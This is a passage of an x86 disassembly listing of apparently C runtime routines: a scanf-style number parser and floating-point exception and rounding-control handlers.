		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C9D8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al


loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43CBE4
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------


loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi


loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1


loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------


loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58


loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------


loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax


loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx


loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F


loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43CBE4, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------


loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------


loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43CBE4, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------


loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280


loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F


loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------


loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------


loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D


loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43CBE4, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------


loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43CBE4, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------


loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D


loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------


loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi


loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0


loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]


loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di


loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------


loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C9D8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]


loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax


loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------


loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h


loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D


loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------


loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]


loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43CBE4, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------


loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C9D8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D350, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB958, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h


loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43D350, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------


loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------


loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------


loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx


loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 266038Ch
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh


loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh


loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h


loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh


loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh


loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------


loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx


loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------


loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------


loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx


loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
